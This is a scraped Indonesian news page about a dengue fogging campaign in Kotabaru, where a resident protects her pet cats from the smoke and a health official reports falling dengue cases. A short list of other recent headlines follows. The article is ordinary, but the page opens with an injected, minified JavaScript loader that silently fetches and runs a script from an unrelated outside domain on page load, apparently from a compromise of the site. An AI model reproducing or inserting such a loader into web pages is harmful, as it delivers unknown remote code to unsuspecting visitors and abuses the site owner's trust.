(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Petugas Lakukan Fogging, Juraidah Selamatkan Kucing


KOTABARU, Pencegahan Demam Berdarah Dengue (DBD) dengan Fogging kembali dilakukan oleh Dinas Kesehatan Kabupaten Kotabaru bersama Puskesmas Sebatung. Kali ini, yang ini menjadi sasarannya adalah kawasan Kelurahan Baharu Selatan Kecamatan Pulau Laut Utara, Jum’at (3/11).

Namun, pada pelaksanaan tersebut ada pemandangan menarik yang dilakukan oleh salah seorang warga, Acil Jurai sapaan akrabnya warga gang Ar-Rahim disaat petugas melakukan penyemprotan ia justru sibuk menyelamatkan beberapa ekor kucing peliharaannya. 

“Yang penting kucing saya ini tidak mencium asap Fogging petugas itu, karena bisa saja nanti mereka (kucing, red-) mabok,” ungkapnya sembari tersenyum kepada wartawan.

Akan tetapi, lanjutnya, dengan adanya Fogging di kampungnya tentunya sangat baik sekali dilakukan agar tidak ada lagi yang terkena DBD.

“Terimakasih kepada petugas yang datang. Selain kampung disini aman juga kucing saya bisa selamat dari asapnya,” tambahnya pula kembali dengan senyum. 

Petugas fogging melakukan pengasapan di kawasan Gang Arrahim untuk mencegah kasus DBD. Foto : Fauzi

Kepala Seksi Pencegahan dan Pengendalian Penyakit Menular dari Dinkes Kotabaru, Ahmad Royani yang dijumpai dilapangan mengatakan bahwa, penyemprotan yang dilakukan setelah dinas mendapatkan laporan ada warga yang positif DBD dan sebelumnya juga dilakukan survey lingkungan sekitar apakah ada terindikasi demam tanpa sebab minimal 3 orang dan ada ditemukan jentik sebanyak 5 % dan itu beberapa indikatornya. Kemudian, membagikan Abate secara gratis serta memberikan penyuluhan dan himbauan.

“Ini menjadi salah satu pencegahan yang dilakukan agar nyamuk DBD tidak lagi menyerang,” tuturnya. 

Dikatakannya lebih jauh, menjadi harapannya agar masyarakat bisa menjaga lingkungan sekitar dengan baik dan dimulai dari rumah sendiri terlebih dahulu agar terhindar dari penyakit yang bukan hanya DBD melainkan juga lainnya.

“Kalau melihat dari kondisi sekarang warga yang terjangkit DBD berkurang sampai awal Nopember 2017 dan berdasarkan data hanya ada 5 orang. Sementara, ditahun 2016 lalu terhitung ada kurang lebih 50 orang yang terkena dan mudah-mudahan hingga akhir Desember nanti tidak ada lagi warga yang terkena dan itu dinilai dari tingkat kesadaran warga yang sudah mulai bagus guna melakukan pencegahan dengan menjaga kebersihan lingkungan,” papar pegawai Puskesmas Sebatung yang juga ikut dalam kegiatan Fogging. (fauzi)


Desy Arfianty

Recent Posts

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

11 menit ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 jam ago

Kaleidoskop Kabupaten Banjar 2024, Kemajuan Pembangunan di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

1 jam ago

Hattrick! Dirut PLN Darmawan Prasodjo Dinobatkan CEO of The Year 2024

KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More

2 jam ago

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

5 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

17 jam ago

This website uses cookies.